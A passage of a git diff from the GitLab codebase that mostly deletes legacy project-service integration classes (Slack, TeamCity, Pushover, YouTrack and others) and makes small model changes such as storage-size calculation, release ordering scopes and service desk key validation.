- { type: 'text', name: 'username', placeholder: '', required: true },
- { type: 'text', name: 'token', placeholder: '', required: true },
- { type: 'text', name: 'server', placeholder: 'https://packagist.org', required: false }
- ]
- end
-
- def self.supported_events
- %w(push merge_request tag_push)
- end
-
- def execute(data)
- return unless supported_events.include?(data[:object_kind])
-
- service_hook.execute(data)
- end
-
- def test(data)
- begin
- result = execute(data)
- return { success: false, result: result[:message] } if result[:http_status] != 202
- rescue StandardError => error
- return { success: false, result: error }
- end
-
- { success: true, result: result[:message] }
- end
-
- def compose_service_hook
- hook = service_hook || build_service_hook
- hook.url = hook_url
- hook.save
- end
-
- def hook_url
- base_url = server.presence || 'https://packagist.org'
- "#{base_url}/api/update-package?username=#{username}&apiToken=#{token}"
- end
-end
diff --git a/app/models/project_services/pipelines_email_service.rb b/app/models/project_services/pipelines_email_service.rb
deleted file mode 100644
index 4603193ac8e..00000000000
--- a/app/models/project_services/pipelines_email_service.rb
+++ /dev/null
@@ -1,103 +0,0 @@
-# frozen_string_literal: true
-
-class PipelinesEmailService < Integration
- include NotificationBranchSelection
-
- prop_accessor :recipients, :branches_to_be_notified
- boolean_accessor :notify_only_broken_pipelines, :notify_only_default_branch
- validates :recipients, presence: true, if: :validate_recipients?
-
- def initialize_properties
- if properties.nil?
- self.properties = {}
- self.notify_only_broken_pipelines = true
- self.branches_to_be_notified = "default"
- elsif !self.notify_only_default_branch.nil?
- # In older versions, there was only a boolean property named
- # `notify_only_default_branch`. Now we have a string property named
- # `branches_to_be_notified`. Instead of doing a background migration, we
- # opted to set a value for the new property based on the old one, if
- # users hasn't specified one already. When users edit the service and
- # selects a value for this new property, it will override everything.
-
- self.branches_to_be_notified ||= notify_only_default_branch? ? "default" : "all"
- end
- end
-
- def title
- _('Pipeline status emails')
- end
-
- def description
- _('Email the pipeline status to a list of recipients.')
- end
-
- def self.to_param
- 'pipelines_email'
- end
-
- def self.supported_events
- %w[pipeline]
- end
-
- def self.default_test_event
- 'pipeline'
- end
-
- def execute(data, force: false)
- return unless supported_events.include?(data[:object_kind])
- return unless force || should_pipeline_be_notified?(data)
-
- all_recipients = retrieve_recipients(data)
-
- return unless all_recipients.any?
-
- pipeline_id = data[:object_attributes][:id]
- PipelineNotificationWorker.new.perform(pipeline_id, recipients: all_recipients)
- end
-
- def can_test?
- project&.ci_pipelines&.any?
- end
-
- def fields
- [
- { type: 'textarea',
- name: 'recipients',
- help: _('Comma-separated list of email addresses.'),
- required: true },
- { type: 'checkbox',
- name: 'notify_only_broken_pipelines' },
- { type: 'select',
- name: 'branches_to_be_notified',
- choices: branch_choices }
- ]
- end
-
- def test(data)
- result = execute(data, force: true)
-
- { success: true, result: result }
- rescue StandardError => error
- { success: false, result: error }
- end
-
- def should_pipeline_be_notified?(data)
- notify_for_branch?(data) && notify_for_pipeline?(data)
- end
-
- def notify_for_pipeline?(data)
- case data[:object_attributes][:status]
- when 'success'
- !notify_only_broken_pipelines?
- when 'failed'
- true
- else
- false
- end
- end
-
- def retrieve_recipients(data)
- recipients.to_s.split(/[,\r\n ]+/).reject(&:empty?)
- end
-end
diff --git a/app/models/project_services/pivotaltracker_service.rb b/app/models/project_services/pivotaltracker_service.rb
deleted file mode 100644
index 6e67984591d..00000000000
--- a/app/models/project_services/pivotaltracker_service.rb
+++ /dev/null
@@ -1,76 +0,0 @@
-# frozen_string_literal: true
-
-class PivotaltrackerService < Integration
- API_ENDPOINT = 'https://www.pivotaltracker.com/services/v5/source_commits'
-
- prop_accessor :token, :restrict_to_branch
- validates :token, presence: true, if: :activated?
-
- def title
- 'PivotalTracker'
- end
-
- def description
- s_('PivotalTrackerService|Add commit messages as comments to PivotalTracker stories.')
- end
-
- def self.to_param
- 'pivotaltracker'
- end
-
- def fields
- [
- {
- type: 'text',
- name: 'token',
- placeholder: s_('PivotalTrackerService|Pivotal Tracker API token.'),
- required: true
- },
- {
- type: 'text',
- name: 'restrict_to_branch',
- placeholder: s_('PivotalTrackerService|Comma-separated list of branches which will be ' \
- 'automatically inspected. Leave blank to include all branches.')
- }
- ]
- end
-
- def self.supported_events
- %w(push)
- end
-
- def execute(data)
- return unless supported_events.include?(data[:object_kind])
- return unless allowed_branch?(data[:ref])
-
- data[:commits].each do |commit|
- message = {
- 'source_commit' => {
- 'commit_id' => commit[:id],
- 'author' => commit[:author][:name],
- 'url' => commit[:url],
- 'message' => commit[:message]
- }
- }
- Gitlab::HTTP.post(
- API_ENDPOINT,
- body: message.to_json,
- headers: {
- 'Content-Type' => 'application/json',
- 'X-TrackerToken' => token
- }
- )
- end
- end
-
- private
-
- def allowed_branch?(ref)
- return true unless ref.present? && restrict_to_branch.present?
-
- branch = Gitlab::Git.ref_name(ref)
- allowed_branches = restrict_to_branch.split(',').map(&:strip)
-
- branch.present? && allowed_branches.include?(branch)
- end
-end
diff --git a/app/models/project_services/prometheus_service.rb b/app/models/project_services/prometheus_service.rb
index b8869547a37..a289c1c2afb 100644
--- a/app/models/project_services/prometheus_service.rb
+++ b/app/models/project_services/prometheus_service.rb
@@ -117,8 +117,8 @@ class PrometheusService < MonitoringService
return false if template?
return false unless project
- project.all_clusters.enabled.eager_load(:application_prometheus).any? do |cluster|
- cluster.application_prometheus&.available?
+ project.all_clusters.enabled.eager_load(:integration_prometheus).any? do |cluster|
+ cluster.integration_prometheus_available?
end
end
diff --git a/app/models/project_services/pushover_service.rb b/app/models/project_services/pushover_service.rb
deleted file mode 100644
index 89765fbdf41..00000000000
--- a/app/models/project_services/pushover_service.rb
+++ /dev/null
@@ -1,105 +0,0 @@
-# frozen_string_literal: true
-
-class PushoverService < Integration
- BASE_URI = 'https://api.pushover.net/1'
-
- prop_accessor :api_key, :user_key, :device, :priority, :sound
- validates :api_key, :user_key, :priority, presence: true, if: :activated?
-
- def title
- 'Pushover'
- end
-
- def description
- s_('PushoverService|Get real-time notifications on your device.')
- end
-
- def self.to_param
- 'pushover'
- end
-
- def fields
- [
- { type: 'text', name: 'api_key', title: _('API key'), placeholder: s_('PushoverService|Your application key'), required: true },
- { type: 'text', name: 'user_key', placeholder: s_('PushoverService|Your user key'), required: true },
- { type: 'text', name: 'device', placeholder: s_('PushoverService|Leave blank for all active devices') },
- { type: 'select', name: 'priority', required: true, choices:
- [
- [s_('PushoverService|Lowest Priority'), -2],
- [s_('PushoverService|Low Priority'), -1],
- [s_('PushoverService|Normal Priority'), 0],
- [s_('PushoverService|High Priority'), 1]
- ],
- default_choice: 0 },
- { type: 'select', name: 'sound', choices:
- [
- ['Device default sound', nil],
- ['Pushover (default)', 'pushover'],
- %w(Bike bike),
- %w(Bugle bugle),
- ['Cash Register', 'cashregister'],
- %w(Classical classical),
- %w(Cosmic cosmic),
- %w(Falling falling),
- %w(Gamelan gamelan),
- %w(Incoming incoming),
- %w(Intermission intermission),
- %w(Magic magic),
- %w(Mechanical mechanical),
- ['Piano Bar', 'pianobar'],
- %w(Siren siren),
- ['Space Alarm', 'spacealarm'],
- ['Tug Boat', 'tugboat'],
- ['Alien Alarm (long)', 'alien'],
- ['Climb (long)', 'climb'],
- ['Persistent (long)', 'persistent'],
- ['Pushover Echo (long)', 'echo'],
- ['Up Down (long)', 'updown'],
- ['None (silent)', 'none']
- ] }
- ]
- end
-
- def self.supported_events
- %w(push)
- end
-
- def execute(data)
- return unless supported_events.include?(data[:object_kind])
-
- ref = Gitlab::Git.ref_name(data[:ref])
- before = data[:before]
- after = data[:after]
-
- message =
- if Gitlab::Git.blank_ref?(before)
- s_("PushoverService|%{user_name} pushed new branch \"%{ref}\".") % { user_name: data[:user_name], ref: ref }
- elsif Gitlab::Git.blank_ref?(after)
- s_("PushoverService|%{user_name} deleted branch \"%{ref}\".") % { user_name: data[:user_name], ref: ref }
- else
- s_("PushoverService|%{user_name} push to branch \"%{ref}\".") % { user_name: data[:user_name], ref: ref }
- end
-
- if data[:total_commits_count] > 0
- message = [message, s_("PushoverService|Total commits count: %{total_commits_count}") % { total_commits_count: data[:total_commits_count] }].join("\n")
- end
-
- pushover_data = {
- token: api_key,
- user: user_key,
- device: device,
- priority: priority,
- title: "#{project.full_name}",
- message: message,
- url: data[:project][:web_url],
- url_title: s_("PushoverService|See project %{project_full_name}") % { project_full_name: project.full_name }
- }
-
- # Sound parameter MUST NOT be sent to API if not selected
- if sound
- pushover_data[:sound] = sound
- end
-
- Gitlab::HTTP.post('/messages.json', base_uri: BASE_URI, body: pushover_data)
- end
-end
diff --git a/app/models/project_services/redmine_service.rb b/app/models/project_services/redmine_service.rb
deleted file mode 100644
index 7a0f500209c..00000000000
--- a/app/models/project_services/redmine_service.rb
+++ /dev/null
@@ -1,23 +0,0 @@
-# frozen_string_literal: true
-
-class RedmineService < IssueTrackerService
- include ActionView::Helpers::UrlHelper
- validates :project_url, :issues_url, :new_issue_url, presence: true, public_url: true, if: :activated?
-
- def title
- 'Redmine'
- end
-
- def description
- s_("IssueTracker|Use Redmine as this project's issue tracker.")
- end
-
- def help
- docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/redmine'), target: '_blank', rel: 'noopener noreferrer'
- s_('IssueTracker|Use Redmine as the issue tracker. %{docs_link}').html_safe % { docs_link: docs_link.html_safe }
- end
-
- def self.to_param
- 'redmine'
- end
-end
diff --git a/app/models/project_services/slack_mattermost/notifier.rb b/app/models/project_services/slack_mattermost/notifier.rb
deleted file mode 100644
index 1a78cea5933..00000000000
--- a/app/models/project_services/slack_mattermost/notifier.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-module SlackMattermost
- module Notifier
- private
-
- def notify(message, opts)
- # See https://gitlab.com/gitlab-org/slack-notifier/#custom-http-client
- notifier = Slack::Messenger.new(webhook, opts.merge(http_client: HTTPClient))
- notifier.ping(
- message.pretext,
- attachments: message.attachments,
- fallback: message.fallback
- )
- end
-
- class HTTPClient
- def self.post(uri, params = {})
- params.delete(:http_options) # these are internal to the client and we do not want them
- Gitlab::HTTP.post(uri, body: params)
- end
- end
- end
-end
diff --git a/app/models/project_services/slack_service.rb b/app/models/project_services/slack_service.rb
deleted file mode 100644
index 92a46f8d01f..00000000000
--- a/app/models/project_services/slack_service.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-# frozen_string_literal: true
-
-class SlackService < ChatNotificationService
- include SlackMattermost::Notifier
- extend ::Gitlab::Utils::Override
-
- SUPPORTED_EVENTS_FOR_USAGE_LOG = %w[
- push issue confidential_issue merge_request note confidential_note
- tag_push wiki_page deployment
- ].freeze
-
- prop_accessor EVENT_CHANNEL['alert']
-
- def title
- 'Slack notifications'
- end
-
- def description
- 'Send notifications about project events to Slack.'
- end
-
- def self.to_param
- 'slack'
- end
-
- def default_channel_placeholder
- _('general, development')
- end
-
- def webhook_placeholder
- 'https://hooks.slack.com/services/…'
- end
-
- def supported_events
- additional = []
- additional << 'alert'
-
- super + additional
- end
-
- def get_message(object_kind, data)
- return Integrations::ChatMessage::AlertMessage.new(data) if object_kind == 'alert'
-
- super
- end
-
- override :log_usage
- def log_usage(event, user_id)
- return unless user_id
-
- return unless SUPPORTED_EVENTS_FOR_USAGE_LOG.include?(event)
-
- key = "i_ecosystem_slack_service_#{event}_notification"
-
- Gitlab::UsageDataCounters::HLLRedisCounter.track_event(key, values: user_id)
- end
-end
diff --git a/app/models/project_services/slack_slash_commands_service.rb b/app/models/project_services/slack_slash_commands_service.rb
deleted file mode 100644
index 548f3623504..00000000000
--- a/app/models/project_services/slack_slash_commands_service.rb
+++ /dev/null
@@ -1,34 +0,0 @@
-# frozen_string_literal: true
-
-class SlackSlashCommandsService < SlashCommandsService
- include Ci::TriggersHelper
-
- def title
- 'Slack slash commands'
- end
-
- def description
- "Perform common operations in Slack"
- end
-
- def self.to_param
- 'slack_slash_commands'
- end
-
- def trigger(params)
- # Format messages to be Slack-compatible
- super.tap do |result|
- result[:text] = format(result[:text]) if result.is_a?(Hash)
- end
- end
-
- def chat_responder
- ::Gitlab::Chat::Responder::Slack
- end
-
- private
-
- def format(text)
- Slack::Messenger::Util::LinkFormatter.format(text) if text
- end
-end
diff --git a/app/models/project_services/slash_commands_service.rb b/app/models/project_services/slash_commands_service.rb
deleted file mode 100644
index 37d16737052..00000000000
--- a/app/models/project_services/slash_commands_service.rb
+++ /dev/null
@@ -1,65 +0,0 @@
-# frozen_string_literal: true
-
-# Base class for Chat services
-# This class is not meant to be used directly, but only to inherrit from.
-class SlashCommandsService < Integration
- default_value_for :category, 'chat'
-
- prop_accessor :token
-
- has_many :chat_names, foreign_key: :service_id, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
-
- def valid_token?(token)
- self.respond_to?(:token) &&
- self.token.present? &&
- ActiveSupport::SecurityUtils.secure_compare(token, self.token)
- end
-
- def self.supported_events
- %w()
- end
-
- def can_test?
- false
- end
-
- def fields
- [
- { type: 'text', name: 'token', placeholder: 'XXxxXXxxXXxxXXxxXXxxXXxx' }
- ]
- end
-
- def trigger(params)
- return unless valid_token?(params[:token])
-
- chat_user = find_chat_user(params)
- user = chat_user&.user
-
- if user
- unless user.can?(:use_slash_commands)
- return Gitlab::SlashCommands::Presenters::Access.new.deactivated if user.deactivated?
-
- return Gitlab::SlashCommands::Presenters::Access.new.access_denied(project)
- end
-
- Gitlab::SlashCommands::Command.new(project, chat_user, params).execute
- else
- url = authorize_chat_name_url(params)
- Gitlab::SlashCommands::Presenters::Access.new(url).authorize
- end
- end
-
- private
-
- # rubocop: disable CodeReuse/ServiceClass
- def find_chat_user(params)
- ChatNames::FindUserService.new(self, params).execute
- end
- # rubocop: enable CodeReuse/ServiceClass
-
- # rubocop: disable CodeReuse/ServiceClass
- def authorize_chat_name_url(params)
- ChatNames::AuthorizeUserService.new(self, params).execute
- end
- # rubocop: enable CodeReuse/ServiceClass
-end
diff --git a/app/models/project_services/teamcity_service.rb b/app/models/project_services/teamcity_service.rb
deleted file mode 100644
index 6fc24a4778c..00000000000
--- a/app/models/project_services/teamcity_service.rb
+++ /dev/null
@@ -1,189 +0,0 @@
-# frozen_string_literal: true
-
-class TeamcityService < CiService
- include ReactiveService
- include ServicePushDataValidations
-
- prop_accessor :teamcity_url, :build_type, :username, :password
-
- validates :teamcity_url, presence: true, public_url: true, if: :activated?
- validates :build_type, presence: true, if: :activated?
- validates :username,
- presence: true,
- if: ->(service) { service.activated? && service.password }
- validates :password,
- presence: true,
- if: ->(service) { service.activated? && service.username }
-
- attr_accessor :response
-
- after_save :compose_service_hook, if: :activated?
- before_update :reset_password
-
- class << self
- def to_param
- 'teamcity'
- end
-
- def supported_events
- %w(push merge_request)
- end
-
- def event_description(event)
- case event
- when 'push', 'push_events'
- 'TeamCity CI will be triggered after every push to the repository except branch delete'
- when 'merge_request', 'merge_request_events'
- 'TeamCity CI will be triggered after a merge request has been created or updated'
- end
- end
- end
-
- def compose_service_hook
- hook = service_hook || build_service_hook
- hook.save
- end
-
- def reset_password
- if teamcity_url_changed? && !password_touched?
- self.password = nil
- end
- end
-
- def title
- 'JetBrains TeamCity'
- end
-
- def description
- s_('ProjectService|Run CI/CD pipelines with JetBrains TeamCity.')
- end
-
- def help
- s_('To run CI/CD pipelines with JetBrains TeamCity, input the GitLab project details in the TeamCity project Version Control Settings.')
- end
-
- def fields
- [
- {
- type: 'text',
- name: 'teamcity_url',
- title: s_('ProjectService|TeamCity server URL'),
- placeholder: 'https://teamcity.example.com',
- required: true
- },
- {
- type: 'text',
- name: 'build_type',
- help: s_('ProjectService|The build configuration ID of the TeamCity project.'),
- required: true
- },
- {
- type: 'text',
- name: 'username',
- help: s_('ProjectService|Must have permission to trigger a manual build in TeamCity.')
- },
- {
- type: 'password',
- name: 'password',
- non_empty_password_title: s_('ProjectService|Enter new password'),
- non_empty_password_help: s_('ProjectService|Leave blank to use your current password')
- }
- ]
- end
-
- def build_page(sha, ref)
- with_reactive_cache(sha, ref) {|cached| cached[:build_page] }
- end
-
- def commit_status(sha, ref)
- with_reactive_cache(sha, ref) {|cached| cached[:commit_status] }
- end
-
- def calculate_reactive_cache(sha, ref)
- response = get_path("httpAuth/app/rest/builds/branch:unspecified:any,revision:#{sha}")
-
- if response
- { build_page: read_build_page(response), commit_status: read_commit_status(response) }
- else
- { build_page: teamcity_url, commit_status: :error }
- end
- end
-
- def execute(data)
- case data[:object_kind]
- when 'push'
- execute_push(data)
- when 'merge_request'
- execute_merge_request(data)
- end
- end
-
- private
-
- def execute_push(data)
- branch = Gitlab::Git.ref_name(data[:ref])
- post_to_build_queue(data, branch) if push_valid?(data)
- end
-
- def execute_merge_request(data)
- branch = data[:object_attributes][:source_branch]
- post_to_build_queue(data, branch) if merge_request_valid?(data)
- end
-
- def read_build_page(response)
- if response.code != 200
- # If actual build link can't be determined,
- # send user to build summary page.
- build_url("viewLog.html?buildTypeId=#{build_type}")
- else
- # If actual build link is available, go to build result page.
- built_id = response['build']['id']
- build_url("viewLog.html?buildId=#{built_id}&buildTypeId=#{build_type}")
- end
- end
-
- def read_commit_status(response)
- return :error unless response.code == 200 || response.code == 404
-
- status = if response.code == 404
- 'Pending'
- else
- response['build']['status']
- end
-
- return :error unless status.present?
-
- if status.include?('SUCCESS')
- 'success'
- elsif status.include?('FAILURE')
- 'failed'
- elsif status.include?('Pending')
- 'pending'
- else
- :error
- end
- end
-
- def build_url(path)
- Gitlab::Utils.append_path(teamcity_url, path)
- end
-
- def get_path(path)
- Gitlab::HTTP.try_get(build_url(path), verify: false, basic_auth: basic_auth, extra_log_info: { project_id: project_id })
- end
-
- def post_to_build_queue(data, branch)
- Gitlab::HTTP.post(
- build_url('httpAuth/app/rest/buildQueue'),
- body: "<build branchName=#{branch.encode(xml: :attr)}>"\
- "<buildType id=#{build_type.encode(xml: :attr)}/>"\
- '</build>',
- headers: { 'Content-type' => 'application/xml' },
- basic_auth: basic_auth
- )
- end
-
- def basic_auth
- { username: username, password: password }
- end
-end
diff --git a/app/models/project_services/unify_circuit_service.rb b/app/models/project_services/unify_circuit_service.rb
deleted file mode 100644
index 5f43388e1c9..00000000000
--- a/app/models/project_services/unify_circuit_service.rb
+++ /dev/null
@@ -1,60 +0,0 @@
-# frozen_string_literal: true
-
-class UnifyCircuitService < ChatNotificationService
- def title
- 'Unify Circuit'
- end
-
- def description
- s_('Integrations|Send notifications about project events to Unify Circuit.')
- end
-
- def self.to_param
- 'unify_circuit'
- end
-
- def help
- 'This service sends notifications about projects events to a Unify Circuit conversation.<br />
- To set up this service:
- <ol>
- <li><a href="https://www.circuit.com/unifyportalfaqdetail?articleId=164448">Set up an incoming webhook for your conversation</a>. All notifications will come to this conversation.</li>
- <li>Paste the <strong>Webhook URL</strong> into the field below.</li>
- <li>Select events below to enable notifications.</li>
- </ol>'
- end
-
- def event_field(event)
- end
-
- def default_channel_placeholder
- end
-
- def self.supported_events
- %w[push issue confidential_issue merge_request note confidential_note tag_push
- pipeline wiki_page]
- end
-
- def default_fields
- [
- { type: 'text', name: 'webhook', placeholder: "e.g. https://circuit.com/rest/v2/webhooks/incoming/…", required: true },
- { type: 'checkbox', name: 'notify_only_broken_pipelines' },
- { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
- ]
- end
-
- private
-
- def notify(message, opts)
- response = Gitlab::HTTP.post(webhook, body: {
- subject: message.project_name,
- text: message.summary,
- markdown: true
- }.to_json)
-
- response if response.success?
- end
-
- def custom_data(data)
- super(data).merge(markdown: true)
- end
-end
diff --git a/app/models/project_services/webex_teams_service.rb b/app/models/project_services/webex_teams_service.rb
deleted file mode 100644
index 3d92d3bb85e..00000000000
--- a/app/models/project_services/webex_teams_service.rb
+++ /dev/null
@@ -1,54 +0,0 @@
-# frozen_string_literal: true
-
-class WebexTeamsService < ChatNotificationService
- include ActionView::Helpers::UrlHelper
-
- def title
- s_("WebexTeamsService|Webex Teams")
- end
-
- def description
- s_("WebexTeamsService|Send notifications about project events to Webex Teams.")
- end
-
- def self.to_param
- 'webex_teams'
- end
-
- def help
- docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/webex_teams'), target: '_blank', rel: 'noopener noreferrer'
- s_("WebexTeamsService|Send notifications about project events to a Webex Teams conversation. %{docs_link}") % { docs_link: docs_link.html_safe }
- end
-
- def event_field(event)
- end
-
- def default_channel_placeholder
- end
-
- def self.supported_events
- %w[push issue confidential_issue merge_request note confidential_note tag_push
- pipeline wiki_page]
- end
-
- def default_fields
- [
- { type: 'text', name: 'webhook', placeholder: "https://api.ciscospark.com/v1/webhooks/incoming/...", required: true },
- { type: 'checkbox', name: 'notify_only_broken_pipelines' },
- { type: 'select', name: 'branches_to_be_notified', choices: branch_choices }
- ]
- end
-
- private
-
- def notify(message, opts)
- header = { 'Content-Type' => 'application/json' }
- response = Gitlab::HTTP.post(webhook, headers: header, body: { markdown: message.summary }.to_json)
-
- response if response.success?
- end
-
- def custom_data(data)
- super(data).merge(markdown: true)
- end
-end
diff --git a/app/models/project_services/youtrack_service.rb b/app/models/project_services/youtrack_service.rb
deleted file mode 100644
index 9760a22a872..00000000000
--- a/app/models/project_services/youtrack_service.rb
+++ /dev/null
@@ -1,40 +0,0 @@
-# frozen_string_literal: true
-
-class YoutrackService < IssueTrackerService
- include ActionView::Helpers::UrlHelper
-
- validates :project_url, :issues_url, presence: true, public_url: true, if: :activated?
-
- # {PROJECT-KEY}-{NUMBER} Examples: YT-1, PRJ-1, gl-030
- def self.reference_pattern(only_long: false)
- if only_long
- /(?<issue>\b[A-Za-z][A-Za-z0-9_]*-\d+\b)/
- else
- /(?<issue>\b[A-Za-z][A-Za-z0-9_]*-\d+\b)|(#{Issue.reference_prefix}#{Gitlab::Regex.issue})/
- end
- end
-
- def title
- 'YouTrack'
- end
-
- def description
- s_("IssueTracker|Use YouTrack as this project's issue tracker.")
- end
-
- def help
- docs_link = link_to _('Learn more.'), Rails.application.routes.url_helpers.help_page_url('user/project/integrations/youtrack'), target: '_blank', rel: 'noopener noreferrer'
- s_("IssueTracker|Use YouTrack as this project's issue tracker. %{docs_link}").html_safe % { docs_link: docs_link.html_safe }
- end
-
- def self.to_param
- 'youtrack'
- end
-
- def fields
- [
- { type: 'text', name: 'project_url', title: _('Project URL'), help: s_('IssueTracker|The URL to the project in YouTrack.'), required: true },
- { type: 'text', name: 'issues_url', title: s_('ProjectService|Issue URL'), help: s_('IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}.') % { colon_id: '<code>:id</code>'.html_safe }, required: true }
- ]
- end
-end
diff --git a/app/models/project_statistics.rb b/app/models/project_statistics.rb
index 37ddd2d030d..387732cf151 100644
--- a/app/models/project_statistics.rb
+++ b/app/models/project_statistics.rb
@@ -94,18 +94,14 @@ class ProjectStatistics < ApplicationRecord
end
def update_storage_size
- storage_size = repository_size + wiki_size + lfs_objects_size + build_artifacts_size + packages_size
- # The `snippets_size` column was added on 20200622095419 but db/post_migrate/20190527194900_schedule_calculate_wiki_sizes.rb
- # might try to update project statistics before the `snippets_size` column has been created.
- storage_size += snippets_size if self.class.column_names.include?('snippets_size')
-
- # The `pipeline_artifacts_size` column was added on 20200817142800 but db/post_migrate/20190527194900_schedule_calculate_wiki_sizes.rb
- # might try to update project statistics before the `pipeline_artifacts_size` column has been created.
- storage_size += pipeline_artifacts_size if self.class.column_names.include?('pipeline_artifacts_size')
-
- # The `uploads_size` column was added on 20201105021637 but db/post_migrate/20190527194900_schedule_calculate_wiki_sizes.rb
- # might try to update project statistics before the `uploads_size` column has been created.
- storage_size += uploads_size if self.class.column_names.include?('uploads_size')
+ storage_size = repository_size +
+ wiki_size +
+ lfs_objects_size +
+ build_artifacts_size +
+ packages_size +
+ snippets_size +
+ pipeline_artifacts_size +
+ uploads_size
self.storage_size = storage_size
end
diff --git a/app/models/protected_branch.rb b/app/models/protected_branch.rb
index 889eaed138d..3df8fe31826 100644
--- a/app/models/protected_branch.rb
+++ b/app/models/protected_branch.rb
@@ -30,8 +30,6 @@ class ProtectedBranch < ApplicationRecord
end
def self.allow_force_push?(project, ref_name)
- return false unless ::Feature.enabled?(:allow_force_push_to_protected_branches, project, default_enabled: :yaml)
-
project.protected_branches.allowing_force_push.matching(ref_name).any?
end
diff --git a/app/models/release.rb b/app/models/release.rb
index 1889a0707b4..aad1cbeabdb 100644
--- a/app/models/release.rb
+++ b/app/models/release.rb
@@ -39,10 +39,10 @@ class Release < ApplicationRecord
scope :released_within_2hrs, -> { where(released_at: Time.zone.now - 1.hour..Time.zone.now + 1.hour) }
# Sorting
- scope :order_created, -> { reorder('created_at ASC') }
- scope :order_created_desc, -> { reorder('created_at DESC') }
- scope :order_released, -> { reorder('released_at ASC') }
- scope :order_released_desc, -> { reorder('released_at DESC') }
+ scope :order_created, -> { reorder(created_at: :asc) }
+ scope :order_created_desc, -> { reorder(created_at: :desc) }
+ scope :order_released, -> { reorder(released_at: :asc) }
+ scope :order_released_desc, -> { reorder(released_at: :desc) }
delegate :repository, to: :project
diff --git a/app/models/release_highlight.rb b/app/models/release_highlight.rb
index 9c30d0611e6..84e0a43670b 100644
--- a/app/models/release_highlight.rb
+++ b/app/models/release_highlight.rb
@@ -33,7 +33,7 @@ class ReleaseHighlight
next unless include_item?(item)
begin
- item.tap {|i| i['body'] = Kramdown::Document.new(i['body']).to_html }
+ item.tap {|i| i['body'] = Banzai.render(i['body'], { project: nil }) }
rescue StandardError => e
Gitlab::ErrorTracking.track_exception(e, file_path: file_path)
diff --git a/app/models/repository.rb b/app/models/repository.rb
index 7dca8e52403..1bd61fe48cb 100644
--- a/app/models/repository.rb
+++ b/app/models/repository.rb
@@ -938,6 +938,8 @@ class Repository
end
def fetch_as_mirror(url, forced: false, refmap: :all_refs, remote_name: nil, prune: true)
+ return fetch_remote(remote_name, url: url, refmap: refmap, forced: forced, prune: prune) if Feature.enabled?(:fetch_remote_params, project, default_enabled: :yaml)
+
unless remote_name
remote_name = "tmp-#{SecureRandom.hex}"
tmp_remote_name = true
diff --git a/app/models/service_desk_setting.rb b/app/models/service_desk_setting.rb
index bcc17d32272..c5203354b9d 100644
--- a/app/models/service_desk_setting.rb
+++ b/app/models/service_desk_setting.rb
@@ -6,9 +6,12 @@ class ServiceDeskSetting < ApplicationRecord
belongs_to :project
validates :project_id, presence: true
validate :valid_issue_template
+ validate :valid_project_key
validates :outgoing_name, length: { maximum: 255 }, allow_blank: true
validates :project_key, length: { maximum: 255 }, allow_blank: true, format: { with: /\A[a-z0-9_]+\z/ }
+ scope :with_project_key, ->(key) { where(project_key: key) }
+
def issue_template_content
strong_memoize(:issue_template_content) do
next unless issue_template_key.present?
@@ -27,4 +30,23 @@ class ServiceDeskSetting < ApplicationRecord
errors.add(:issue_template_key, 'is empty or does not exist')
end
end
+
+ def valid_project_key
+ if projects_with_same_slug_and_key_exists?
+ errors.add(:project_key, 'already in use for another service desk address.')
+ end
+ end
+
+ private
+
+ def projects_with_same_slug_and_key_exists?
+ return false unless project_key
+
+ settings = self.class.with_project_key(project_key).preload(:project)
+ project_slug = self.project.full_path_slug
+
+ settings.any? do |setting|
+ setting.project.full_path_slug == project_slug
+ end
+ end
end
diff --git a/app/models/snippet_repository_storage_move.rb b/app/models/snippet_repository_storage_move.rb
deleted file mode 100644
index 8234905a7e1..00000000000
--- a/app/models/snippet_repository_storage_move.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-# This is a compatibility class to avoid calling a non-existent
-# class from sidekiq during deployment.
-#
-# This class was moved to a namespace in https://gitlab.com/gitlab-org/gitlab/-/issues/299853.
-# we cannot remove this class entirely because there can be jobs
-# referencing it.
-#
-# We can get rid of this class in 14.0
-# https://gitlab.com/gitlab-org/gitlab/-/issues/322393
-class SnippetRepositoryStorageMove < Snippets::RepositoryStorageMove
-end
diff --git a/app/models/timelog.rb b/app/models/timelog.rb
index bd543526685..96fd485b797 100644
--- a/app/models/timelog.rb
+++ b/app/models/timelog.rb
@@ -18,8 +18,12 @@ class Timelog < ApplicationRecord
joins(:project).where(projects: { namespace: group.self_and_descendants })
end
- scope :between_times, -> (start_time, end_time) do
- where('spent_at BETWEEN ? AND ?', start_time, end_time)
+ scope :at_or_after, -> (start_time) do
+ where('spent_at >= ?', start_time)
+ end
+
+ scope :at_or_before, -> (end_time) do
+ where('spent_at <= ?', end_time)
end
def issuable
diff --git a/app/models/todo.rb b/app/models/todo.rb
index 23685fb68e0..94a99603848 100644
--- a/app/models/todo.rb
+++ b/app/models/todo.rb
@@ -61,6 +61,7 @@ class Todo < ApplicationRecord
scope :for_author, -> (author) { where(author: author) }
scope :for_user, -> (user) { where(user: user) }
scope :for_project, -> (projects) { where(project: projects) }
+ scope :for_note, -> (notes) { where(note: notes) }
scope :for_undeleted_projects, -> { joins(:project).merge(Project.without_deleted) }
scope :for_group, -> (group) { where(group: group) }
scope :for_type, -> (type) { where(target_type: type) }
diff --git a/app/models/user.rb b/app/models/user.rb
index 0eb58baae11..8ee0421e45f 100644
--- a/app/models/user.rb
+++ b/app/models/user.rb
@@ -35,6 +35,9 @@ class User < ApplicationRecord
COUNT_CACHE_VALIDITY_PERIOD = 24.hours
+ MAX_USERNAME_LENGTH = 255
+ MIN_USERNAME_LENGTH = 2
+
add_authentication_token_field :incoming_email_token, token_generator: -> { SecureRandom.hex.to_i(16).to_s(36) }
add_authentication_token_field :feed_token
add_authentication_token_field :static_object_token
@@ -96,12 +99,6 @@ class User < ApplicationRecord
# Virtual attribute for impersonator
attr_accessor :impersonator
- attr_writer :max_access_for_group
-
- def max_access_for_group
- @max_access_for_group ||= {}
- end
-
#
# Relations
#
@@ -111,7 +108,7 @@ class User < ApplicationRecord
# Profile
has_many :keys, -> { regular_keys }, dependent: :destroy # rubocop:disable Cop/ActiveRecordDependent
